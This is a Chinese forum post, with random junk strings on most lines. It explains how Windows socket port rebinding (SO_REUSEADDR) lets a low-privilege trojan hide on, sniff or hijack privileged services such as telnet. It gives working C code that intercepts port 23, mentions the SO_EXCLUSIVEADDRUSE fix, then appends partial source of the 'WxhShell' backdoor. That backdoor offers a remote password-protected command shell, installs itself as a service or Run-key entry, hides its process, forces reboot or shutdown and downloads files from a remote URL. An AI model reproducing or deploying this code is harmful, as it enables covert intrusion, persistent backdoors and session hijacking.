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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TrEu'yxy8*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y51e%n$  
{k TE He  
  saddr.sin_family = AF_INET; dO! kk"qn  
Ot_]3:`J~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); B9jC?I |`  
<lPm1/8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y.mda:$~=  
spH7 /5}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 On9A U:\  
`ts$(u.w  
  这意味着什么?意味着可以进行如下的攻击: *v^Jb/E315  
gwuI-d^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XpB_N{v9w  
Q4#m\KK;i9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;u_X)  
&N^9JxN?8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 & p  
> PRFWO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WUn]F~Lt  
JzQ_{J`k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t6 "%3#s  
'urafE4M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \h/H#j ZJ  
q_[o" wq/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3)<yod=  
V(I8=rVH  
  #include tKOmoC  
  #include ? =Z?6fw  
  #include =7=]{Cx[  
  #include    x)DMPVB<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X]TG<r  
  int main() @Md/Q~>  
  { Xx~Bp+  
  WORD wVersionRequested; D0-3eV -  
  DWORD ret; ~w+c8c8pW  
  WSADATA wsaData; lgL%u K)  
  BOOL val; oWT3apGO  
  SOCKADDR_IN saddr; Mk 6(UXY  
  SOCKADDR_IN scaddr; Di6?[(8  
  int err;  ?(1 y  
  SOCKET s; Vx u0F]%  
  SOCKET sc; \;B iq`  
  int caddsize; Gx/Oi)&/  
  HANDLE mt; $t[FH&c(  
  DWORD tid;   `Y$4 H,8L  
  wVersionRequested = MAKEWORD( 2, 2 ); GR_-9}jQP  
  err = WSAStartup( wVersionRequested, &wsaData ); .W%)*&WH\  
  if ( err != 0 ) { eu-*?]&Di  
  printf("error!WSAStartup failed!\n"); By!o3}~g  
  return -1; zY{A'<\O  
  } &DX! f  
  saddr.sin_family = AF_INET; &K#M*B ,*p  
   gPI ?C76  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }o(-=lF  
JX;G<lev  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O,f?YJ9S  
  saddr.sin_port = htons(23); B~ GbF*j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r q].UCj  
  { %5n_ p^xp  
  printf("error!socket failed!\n"); [}=B8#Jl-C  
  return -1; r),kDia  
  } 6A-|[(NS  
  val = TRUE; +I|vzz`ZVr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EV%gF   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \~$#1D1f  
  { ;*Et[}3  
  printf("error!setsockopt failed!\n");  eq;uO6[  
  return -1; f.$af4 u  
  } Wd:uV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1>h]{%I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JPw.8|V)y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c-5)QF) z  
3F2w-+L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hRhe& ,v  
  { h*](a_0  
  ret=GetLastError(); n{mfn *r.  
  printf("error!bind failed!\n"); ^u ~Q/ 4  
  return -1; Kn1a>fLaJ_  
  } @*( (1(q  
  listen(s,2); z<?)Rq"  
  while(1) j A%u 5V  
  { }K|oicpUg  
  caddsize = sizeof(scaddr); p<"mt]  
  //接受连接请求 4|DWOQ':  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kt:! 7  
  if(sc!=INVALID_SOCKET) eeB{c.#  
  { M8(t 'jN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (f"4,b^]  
  if(mt==NULL) [{,1=AB  
  { i8]S:49  
  printf("Thread Creat Failed!\n"); pW3^X=6  
  break; q(84+{>B  
  } ]}Yl7/gM1}  
  } oCz/HQoBk  
  CloseHandle(mt); .?$gpM?i  
  } Qvhl4-XjZa  
  closesocket(s); zTU0HR3A  
  WSACleanup(); N~'c_l  
  return 0; jse&DQ  
  }   oUlVI*~ND  
  DWORD WINAPI ClientThread(LPVOID lpParam) fz "Y CHe  
  { c]!V'#U  
  SOCKET ss = (SOCKET)lpParam; utV_W&  
  SOCKET sc; =T7.~W  
  unsigned char buf[4096]; >^3i|PB  
  SOCKADDR_IN saddr; A.w.rVDD  
  long num; }O p; g^W  
  DWORD val; X"eYK/7  
  DWORD ret; l.M0`Cn-%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jmG~UnM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G18b$z  
  saddr.sin_family = AF_INET; ^U/O !GK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K{+2G&i  
  saddr.sin_port = htons(23); 493*{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;!Fn1|)  
  { k+*u/neh  
  printf("error!socket failed!\n"); "\yT7?},  
  return -1; GTHt'[t@;  
  } n+M<\  
  val = 100; gs`q6 f%(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zv{'MIv&v  
  { -mh3DhJ,  
  ret = GetLastError(); RxQ*  
  return -1; 1|:KQl2q  
  } 'Pbr v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eyxW 0}[  
  { k;Y5BB  
  ret = GetLastError(); VIbq:U  
  return -1; DHRlWQox  
  } C,eu9wOT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yf,z$CR  
  { ~}Pfu  
  printf("error!socket connect failed!\n"); %"-5 <6d  
  closesocket(sc); 7xR\kL.,  
  closesocket(ss);  ~$J2g  
  return -1; |V(0GB  
  } vih9 KBT  
  while(1) ?q [T  
  { : rVnc =k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ho]su?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w!XD/j N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )U# K  
  num = recv(ss,buf,4096,0); @(lh%@hO  
  if(num>0) }-`4DHgq  
  send(sc,buf,num,0); 9tnD=A<PS  
  else if(num==0) nr3==21Om4  
  break; K)P%;X  
  num = recv(sc,buf,4096,0); .]K%G\*`:  
  if(num>0) C_Wc5{  
  send(ss,buf,num,0); "Y.y:Vv;  
  else if(num==0) )M^ gT}M  
  break; phz&zl D  
  } #LNED)Vg  
  closesocket(ss); qJw_  
  closesocket(sc); 2Z%O7V~u  
  return 0 ; 4Po_-4  
  } t`QENXA}  
eV~goj  
W_ ZJ0GuE(  
========================================================== >R=|Wo`Ri  
:E?V.  
下边附上一个代码,,WXhSHELL `$NP> %J-  
{GUF;V ^  
========================================================== FgO)DQm  
ch]29  
#include "stdafx.h" aQ~s`^D  
%XTI-B/K  
#include <stdio.h> XfmwVjy  
#include <string.h> dqAw5[qMJ  
#include <windows.h> ']oQ]Yx0  
#include <winsock2.h> S tyfB  
#include <winsvc.h> H)&R=s  
#include <urlmon.h> \j.:3X r  
rLT!To  
#pragma comment (lib, "Ws2_32.lib") mV m Gg,  
#pragma comment (lib, "urlmon.lib") J8~haim  
_XT pU  
#define MAX_USER   100 // 最大客户端连接数 ,[;G|et  
#define BUF_SOCK   200 // sock buffer hzC>~Ub5  
#define KEY_BUFF   255 // 输入 buffer <6=c,y  
JN6B~ZNf  
#define REBOOT     0   // 重启 F5#YOck&,  
#define SHUTDOWN   1   // 关机 qY#6SO`_iy  
A70d\i  
#define DEF_PORT   5000 // 监听端口 tI{_y  
MY/}-* |  
#define REG_LEN     16   // 注册表键长度 y3ikWnx  
#define SVC_LEN     80   // NT服务名长度 A(N4N  
R GX=)  
// 从dll定义API \C1nZk?3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;=UsAB]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u2[w#   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '3H_wd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Xry4 7a )  
w*MpX U<  
// wxhshell配置信息 X 8`Sf>  
struct WSCFG { 4Xv*wB1  
  int ws_port;         // 监听端口 v9UD%@tZ  
  char ws_passstr[REG_LEN]; // 口令 &VcV$8k  
  int ws_autoins;       // 安装标记, 1=yes 0=no [trwBZ^D~  
  char ws_regname[REG_LEN]; // 注册表键名 K4);HJ|=  
  char ws_svcname[REG_LEN]; // 服务名 snikn&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YAmb`CP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <^uBoKB/f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ei{eTp4HpV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y)gKxRaCS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4H<lm*!^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dq[xwRU1  
n-OL0$Xu  
}; j8`BdKg  
C'X!\}f.b/  
// default Wxhshell configuration ;({W#Wa  
struct WSCFG wscfg={DEF_PORT, I!?}jo3  
    "xuhuanlingzhe", z$xo$R(  
    1, AzxXB  
    "Wxhshell", O7IJ%_A&  
    "Wxhshell", yvYad  
            "WxhShell Service", O0y_Lm\  
    "Wrsky Windows CmdShell Service", O8.5}>gDn.  
    "Please Input Your Password: ", ,4oo=&  
  1, ?3xzd P  
  "http://www.wrsky.com/wxhshell.exe", :08,JL{  
  "Wxhshell.exe" D5HZ2cz|a  
    }; U`m54f@U  
E\,-XH  
// 消息定义模块 [zM-^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d<N:[Y\4l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o.l- 7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Nu7 !8[?r*  
char *msg_ws_ext="\n\rExit."; 9p2&) kb6  
char *msg_ws_end="\n\rQuit."; {jX2}  
char *msg_ws_boot="\n\rReboot..."; %-0t?/>  
char *msg_ws_poff="\n\rShutdown..."; A$:U'ZG_  
char *msg_ws_down="\n\rSave to "; J S_]FsxD  
/d<P-!fK  
char *msg_ws_err="\n\rErr!"; s}% M4  
char *msg_ws_ok="\n\rOK!"; nQ,HMXj  
'y3!fN =h  
char ExeFile[MAX_PATH]; OH(waKq2I  
int nUser = 0; '(L7;+E  
HANDLE handles[MAX_USER]; r|Tcfk]%  
int OsIsNt; ;x@~A^<el  
fDU!~/#  
SERVICE_STATUS       serviceStatus; C&rkvM8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _t #k,;  
` v@m-j6  
// 函数声明 wT8DSq  
int Install(void); >e[i5  
int Uninstall(void); <;Zmjeb+#  
int DownloadFile(char *sURL, SOCKET wsh); I75DUJqy]  
int Boot(int flag); Vt&2z)Zz  
void HideProc(void); r:ptQo`1-  
int GetOsVer(void); }oGA-Qc}B  
int Wxhshell(SOCKET wsl); 'Xq| Kf (  
void TalkWithClient(void *cs); <+vw@M  
int CmdShell(SOCKET sock); [;) ,\\u,d  
int StartFromService(void); .MoU1n{Yc  
int StartWxhshell(LPSTR lpCmdLine); 0*D$R`$  
'XP7" N47O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "8jf81V*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fN^8{w/O  
hAnPXiD  
// 数据结构和表定义 9c,'k#k  
SERVICE_TABLE_ENTRY DispatchTable[] = dufu|BL|}  
{ MPg)=LI  
{wscfg.ws_svcname, NTServiceMain}, ;dZZ;#k%  
{NULL, NULL} }"%?et(  
}; NzOx0WLF  
W^LY'ypT  
// 自我安装 Z!zF\<r  
int Install(void) jc[Y}gd,  
{ '3D XPR^B6  
  char svExeFile[MAX_PATH]; 'RYIW/a  
  HKEY key; gS]@I0y8 .  
  strcpy(svExeFile,ExeFile); 1.{z3_S21:  
(WO]Xq<  
// 如果是win9x系统,修改注册表设为自启动 /saIs%(fU  
if(!OsIsNt) { f:|1_j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tla 5B_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QIvVcfM^  
  RegCloseKey(key); {19PL8B~}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ju8q?Nyhs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j9 4=hJVKi  
  RegCloseKey(key); Fk*7;OuZl  
  return 0; J0\Fhe0'  
    } g:D>.lKd  
  } a85$K$b>  
} (\hx` Yh=>  
else { #crQ1p) \  
%D}kD6=  
// 如果是NT以上系统,安装为系统服务 lVR~Bh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }`QUHIF  
if (schSCManager!=0) E+R1 !.  
{ ,+vy,<e&  
  SC_HANDLE schService = CreateService ith 3 =`3  
  ( [OV"}<V  
  schSCManager, $i}y8nlQ  
  wscfg.ws_svcname, H*&f:mfq  
  wscfg.ws_svcdisp, @qqg e'  
  SERVICE_ALL_ACCESS, )=Z>#iH1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YY((V@|K  
  SERVICE_AUTO_START, zH4D8@[7O  
  SERVICE_ERROR_NORMAL, ZaDyg"Tw+  
  svExeFile, T/Gz94c  
  NULL, v/0QOp  
  NULL, %C'?@,7C  
  NULL, }Jve cRtg1  
  NULL, H*QIB_  
  NULL #ASz;$P  
  ); R{3N&C  
  if (schService!=0) uK#4(eY=W  
  { C'+YQ]u  
  CloseServiceHandle(schService); 7he,?T)vD  
  CloseServiceHandle(schSCManager); 1i"WDu*h3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >#;.n(y  
  strcat(svExeFile,wscfg.ws_svcname); tl4V7!U@^z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1N^[.=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *,)Md[  
  RegCloseKey(key); @ ZwvBH  
  return 0; `PdQX.wN  
    } *vN-Vb^2i)  
  } YTpSHpf@  
  CloseServiceHandle(schSCManager); TJpD{p}  
} ;| 5F[  
} Un(aW=PQ0  
G<8/F<m/  
return 1; bv9]\qC]T<  
} C'@i/+  
r CHl?J  
// 自我卸载 gQelD6c  
int Uninstall(void) GR.^glG?6  
{ y8Z_Itlf  
  HKEY key; qu6D 5t  
nQtWvT  
if(!OsIsNt) { 2dcV"lY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `$<.pOm  
  RegDeleteValue(key,wscfg.ws_regname); r1m]HFN  
  RegCloseKey(key); 7Lc]HSZo,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #7 $ H  
  RegDeleteValue(key,wscfg.ws_regname); A5RN5`}  
  RegCloseKey(key); k&q;JyUi  
  return 0; IH&|Tcf\  
  } v0+BkfU+p  
} F>6|3bOR  
} #n #}s  
else { UiP"Ixg6  
4Zddw0|2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T|op$ s|  
if (schSCManager!=0) T_ <@..C  
{ l^-];|Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oUr66a/[U  
  if (schService!=0) e/&{v8Hmb  
  { J T7nG.9  
  if(DeleteService(schService)!=0) { &|ex`nwc0  
  CloseServiceHandle(schService); r:'.nhe  
  CloseServiceHandle(schSCManager); {n.PF8A5X  
  return 0; Z'W =\rl  
  } )5JFfp)#  
  CloseServiceHandle(schService); vjCu4+w($Z  
  } g \:[ 55;8  
  CloseServiceHandle(schSCManager); ^Za-`8#`L  
} uc\Kg1{  
} P {jbl!UD7  
[`[|l  
return 1; v`x.)S1  
} a :`E0}C  
}W8;=$jr  
// 从指定url下载文件 V>LwqS~`  
int DownloadFile(char *sURL, SOCKET wsh) RnE4<Cy  
{ *W1dG#Np}  
  HRESULT hr; 6ex/TySM  
char seps[]= "/"; [Ek7b *  
char *token; yu|8_<bq  
char *file; LEf^cM=>  
char myURL[MAX_PATH]; (D&3G;0tK  
char myFILE[MAX_PATH]; 2(+2+ }  
<w9JRpFY  
strcpy(myURL,sURL); B{#I:Rs9  
  token=strtok(myURL,seps); vWv"  
  while(token!=NULL) Bahm]2  
  {  . iI  
    file=token; 50wulGJud  
  token=strtok(NULL,seps); c_pr  
  } 9T9!kb  
UnV.~u~  
GetCurrentDirectory(MAX_PATH,myFILE); 2\{M:\2o  
strcat(myFILE, "\\"); P>D)7 V9Hh  
strcat(myFILE, file); *#|&JIEsi  
  send(wsh,myFILE,strlen(myFILE),0); Eyqa?$R  
send(wsh,"...",3,0); eJ-xsH*8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]:-mbgW  
  if(hr==S_OK) & h)yro  
return 0; O _ gGf  
else f~R(D0@  
return 1; _< V)-Y  
#p&qUw  
} 3(N$nsi  
9;u@q%;!k  
// 系统电源模块 RSRS wkC  
int Boot(int flag) ltSU fI  
{ JFmC\  
  HANDLE hToken; G>}255qY  
  TOKEN_PRIVILEGES tkp; .`H5cuF`  
U< fGGCw  
  if(OsIsNt) { *:7rdzn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O 8r|8]o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !9e=_mY  
    tkp.PrivilegeCount = 1; J*A,o~U|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; };zFJ6I8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EME|k{W  
if(flag==REBOOT) { LonxT&"!D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a58H9w"u)  
  return 0; &6!)jIWJ  
} 0Mm)`!TLSW  
else { T?0eVvM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h(dvZ= %  
  return 0; PFjL1=7I  
} ?l{nk5,?-Y  
  } 2]*OQb#O6e  
  else { zC!t;*8a  
if(flag==REBOOT) { \gaw6S>n}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /{_:{G!Q0  
  return 0; IEi^kJflU  
} @S;'@VC  
else { =UQ3HQD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  kDioD  
  return 0; !Ai@$tl[S  
} &p@O _0nF  
} \M^bD4';>  
03Ycf'W  
return 1; f$$/H>MJ  
} g! |kp?  
J*M>6Q.)  
// win9x进程隐藏模块 k y7Gwc  
void HideProc(void) \R_C&=  
{ F$]Pk|,  
S,UDezxg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oMa6(3T?E  
  if ( hKernel != NULL ) T8$y[W-c  
  { Y:[u1~a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); chX"O 0?"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #X1ND  
    FreeLibrary(hKernel); m-, x<bM?  
  } g2_"zDiw2  
ON(kt3.h  
return; YS0<qSN  
} U Cjld  
 =7eV/3  
// 获取操作系统版本 e\L8oOk#r  
int GetOsVer(void) 6i/(5 nQ  
{ hwv/AnX~O  
  OSVERSIONINFO winfo; 4kx N<]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rey!{3U  
  GetVersionEx(&winfo); @o`AmC . 8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Km$\:Xo  
  return 1; i XjM.G  
  else NzvXN1_%  
  return 0; tR$NRMZ.  
} YT,{E,U;  
wibNQ`4k  
// 客户端句柄模块 Q=$2c[Uk  
int Wxhshell(SOCKET wsl) ;2QP7PrSY  
{ &};zvo~P.  
  SOCKET wsh; +ZP7{%  
  struct sockaddr_in client; eHUOU>&P]  
  DWORD myID; sW\!hW1*x  
CrTw@AW9)  
  while(nUser<MAX_USER) pQB."[n  
{ CqC`8fD1  
  int nSize=sizeof(client); Ny/MJ#Lq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q"#J6@  
  if(wsh==INVALID_SOCKET) return 1; %WS+(0*1  
A04U /;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _+MJ%'>S  
if(handles[nUser]==0) {)<v&'*c~  
  closesocket(wsh); FS1z`wYP  
else J'r^/  
  nUser++; ^-'fW7[m  
  } dPRra{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  Vxt+]5X  
Xch~ 1K  
  return 0; )+Pus~w  
} lp8v0e4  
$ocdI5  
// 关闭 socket #g!.T g'  
void CloseIt(SOCKET wsh) />>\IR  
{ `Q,H|hp;k;  
closesocket(wsh); DtnEi4h,  
nUser--; wy2 D;;  
ExitThread(0); % & bY]w  
} d/ @,@8:  
sDV Q#}a  
// 客户端请求句柄 ySI !d|_  
void TalkWithClient(void *cs) zbPqYhJzA  
{ poFg 1  
5F"jk d+  
  SOCKET wsh=(SOCKET)cs; P!k{u^$L  
  char pwd[SVC_LEN]; FVBYo%Ap  
  char cmd[KEY_BUFF]; >(RkZ}z  
char chr[1]; RG`1en  
int i,j; xkA K!uVy  
/a o5FL  
  while (nUser < MAX_USER) { a[TMDU;(/4  
Y <qm{e  
if(wscfg.ws_passstr) { 3+bt~J0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F6dP,(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {l >hMxij  
  //ZeroMemory(pwd,KEY_BUFF); Z%\,w(o[h  
      i=0; qIqM{#' ^  
  while(i<SVC_LEN) { bN@ l?w  
/u+e0BHo  
  // 设置超时 H>@+om  
  fd_set FdRead; WuW^GC{7  
  struct timeval TimeOut; ;A!BVq  
  FD_ZERO(&FdRead); v*yuE5{  
  FD_SET(wsh,&FdRead);  8dyg1F  
  TimeOut.tv_sec=8; " 2Dngw  
  TimeOut.tv_usec=0; m j@13$=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VLN_w$iEq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gPc=2  
?G&ikxl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lb1Xsgm{  
  pwd=chr[0]; iG?[<1~  
  if(chr[0]==0xd || chr[0]==0xa) { "C3/T&F  
  pwd=0; WMP,\=6k0  
  break; nt.y !k  
  } B?o7e<l[  
  i++; u> / TE  
    } 5NLDYi@3  
;6hOx(>`=  
  // 如果是非法用户,关闭 socket L4?IHNB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !5?<% *  
} uSBa DYg  
dnuu&Rv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *HB-QIl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uUw5l})%Fi  
.w ,q0<}  
while(1) { dGTsc/$  
e(8Ba X _  
  ZeroMemory(cmd,KEY_BUFF); -s'-eQF J  
w)jISu;RG  
      // 自动支持客户端 telnet标准   !$>R j  
  j=0; 9 JK Ew  
  while(j<KEY_BUFF) { i(+p0:< 0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :T(|&F[(  
  cmd[j]=chr[0]; Jqi%|,/]N  
  if(chr[0]==0xa || chr[0]==0xd) { ##4HYQ%E  
  cmd[j]=0; N$:8 ,9.z  
  break; -RK- Fu<e  
  } @gXx1hEg  
  j++; XHGFf_kW_N  
    } 5.J.RE"M  
`x%>8/  
  // 下载文件 63x?MY6  
  if(strstr(cmd,"http://")) { ;mKb]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZWp(GC1NA  
  if(DownloadFile(cmd,wsh)) >~+ELVB&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Z]!/AsC  
  else }f7j 8py  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v1,oilL  
  } H~z`]5CN  
  else { &~U ]~;@  
{U !g.rh  
    switch(cmd[0]) { }?v )N).kW  
  WvZ8/T'x  
  // 帮助 \:F_xq  
  case '?': { l0i^uMS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?= fyc1  
    break; ! #2{hQRu  
  } G9<X_  
  // 安装 2P{Gxz<#  
  case 'i': { @bP)406p  
    if(Install()) KL Xq\{X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cq4I pe  
    else 0>Z_*U~6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :tv,]05t  
    break; -v|qZ'  
    } v^+Sh|z/  
  // 卸载 C8i^P}y  
  case 'r': { i@M [>~  
    if(Uninstall()) UN<]N76!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nf1-!u7  
    else yY&I dE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *,WU?tl&  
    break; y7Df_|Z  
    } ,7K`[  
  // 显示 wxhshell 所在路径 3WIk  
  case 'p': { LTx,cP  
    char svExeFile[MAX_PATH]; P3 ^Y"Pv?  
    strcpy(svExeFile,"\n\r"); )U{Qj5W+F  
      strcat(svExeFile,ExeFile); fMyti$1~  
        send(wsh,svExeFile,strlen(svExeFile),0); _/5H l`  
    break; F6 flIG&h  
    } #" iu| D  
  // 重启 _[ZO p ~  
  case 'b': { 3HY9\'t6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :'*~uJrR  
    if(Boot(REBOOT)) cJ @Wt>YI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j9+w#G]hV  
    else { Z^MNf  
    closesocket(wsh); W#WVfr  
    ExitThread(0); ><HE;cVg?  
    } ?o#%Xs  
    break; ax5<#3__  
    } n$,*|_$#  
  // 关机 =D#bb <o  
  case 'd': { _Qi&J.U>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G<rHkt@[  
    if(Boot(SHUTDOWN)) ':m,)G5&  
